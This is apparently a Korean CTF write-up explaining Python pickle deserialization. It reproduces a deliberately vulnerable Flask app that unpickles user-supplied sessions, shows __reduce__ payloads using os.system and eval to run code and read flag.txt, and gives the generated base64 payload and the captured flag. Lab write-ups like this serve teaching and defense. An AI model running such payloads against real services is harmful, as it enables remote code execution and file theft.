
📦 직렬화 (Serialization)
파이썬 객체(예: 딕셔너리, 리스트 등)를 파일이나 문자열, 네트워크로 보낼 수 있는 형태로 변환하는 것
예시: 딕셔너리를 바이트 형태로 바꿔서 파일에 저장하거나, 네트워크로 전송할 때 사용
🔄 역직렬화 (Deserialization)
직렬화된 데이터를 다시 파이썬 객체로 복원하는 것
Python에서 제공하는 직렬화/역직렬화 라이브러리
pickle.dumps() → 직렬화
pickle.loads() → 역직렬화
이유: pickle은 객체를 복원할 때, 내부적으로 '코드'도 실행될 수 있다.
import os, pickle
class Evil:
def __reduce__(self):
return (os.system, ("echo HACKED!",))
payload = pickle.dumps(Evil())
pickle.loads(payload) # → 명령어 실행됨
reduce()는 객체를 어떻게 복원할지를 정의하는 메서드이고 복원하면서 os.sytem()과 같은 명령어도 실행이 된다.
즉 pickle.loads()가 RCE로서 동작하는 위험이 존재한다.
현재 pickle은 공식적으로 '신뢰할 수 없는 데이터에 절대 사용하지 말라'고 권고 되어 있다. 실무/산업계에서도 pickle 사용 자제 권고가 되어있다.
#!/usr/bin/env python3
from flask import Flask, request, render_template, redirect
import os, pickle, base64
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
FLAG = '[**FLAG**]'
INFO = ['name', 'userid', 'password']
@app.route('/')
def index():
return render_template('index.html')
@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
if request.method == 'GET':
return render_template('create_session.html')
elif request.method == 'POST':
info = {}
for _ in INFO:
info[_] = request.form.get(_, '')
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
return render_template('create_session.html', data=data)
@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
if request.method == 'GET':
return render_template('check_session.html')
elif request.method == 'POST':
session = request.form.get('session', '')
info = pickle.loads(base64.b64decode(session))
return render_template('check_session.html', info=info)
app.run(host='0.0.0.0', port=8000)
pickle이 사용된 서버가 주어진다.

웹 페이지는 위와 같고, 정보를 입력하게 되면 info에 담겨 pickle.dump로 직렬화되어 저장이 된다.

이렇게 만들어진 세션은 이제 check_session에서 확인해보면

pickle.loads를 통해 역직렬화 되어 데이터로서 나타난다.
그렇다면 우리는 알고있는대로 Exploit을 해보도록 한다.
먼저 악성 객체를 만들어본다. ( 1번 악성 객체 직렬화 )
import pickle
import base64
import os
import requests
class Exploit:
def __reduce__(self):
data="open('./flag.txt').read()"
return (eval, (data,))
payload = {
"name": Exploit(),
"userid": "moons",
"password": "1234"
}
session_value = base64.b64encode(pickle.dumps(payload)).decode()
print(f"[+] Generated session:\n{session_value}\n")
위의 코드는 pickle을 이용하여 동일하게 name에 flag.txt를 읽는 악성 객체를 삽입하는 과정이다.
또한 원래 서버에서 base64를 이용해서 인코딩 및 디코딩을 하고 있으므로 세션값을 base64로 인코딩한다.
결과로 gASVYwAAAAAAAAB9lCiMBG5hbWWUjAhidWlsdGluc5SMBGV2YWyUk5SMGW9wZW4oJy4vZmxhZy50eHQnKS5yZWFkKCmUhZRSlIwGdXNlcmlklIwFbW9vbnOUjAhwYXNzd29yZJSMBDEyMzSUdS4=
이와 같은 base64값을 얻었다.
이제 check_session에 가서 값을 제출해보도록 하겠다. ( 2번 제출 )

flag.txt를 읽는 RCE가 실행되어 FLAG값을 가져오게 되었다. ( RCE 실행 )
FLAG : DH{a6daba2e0cc5b22fed1aaf44d10a45a0}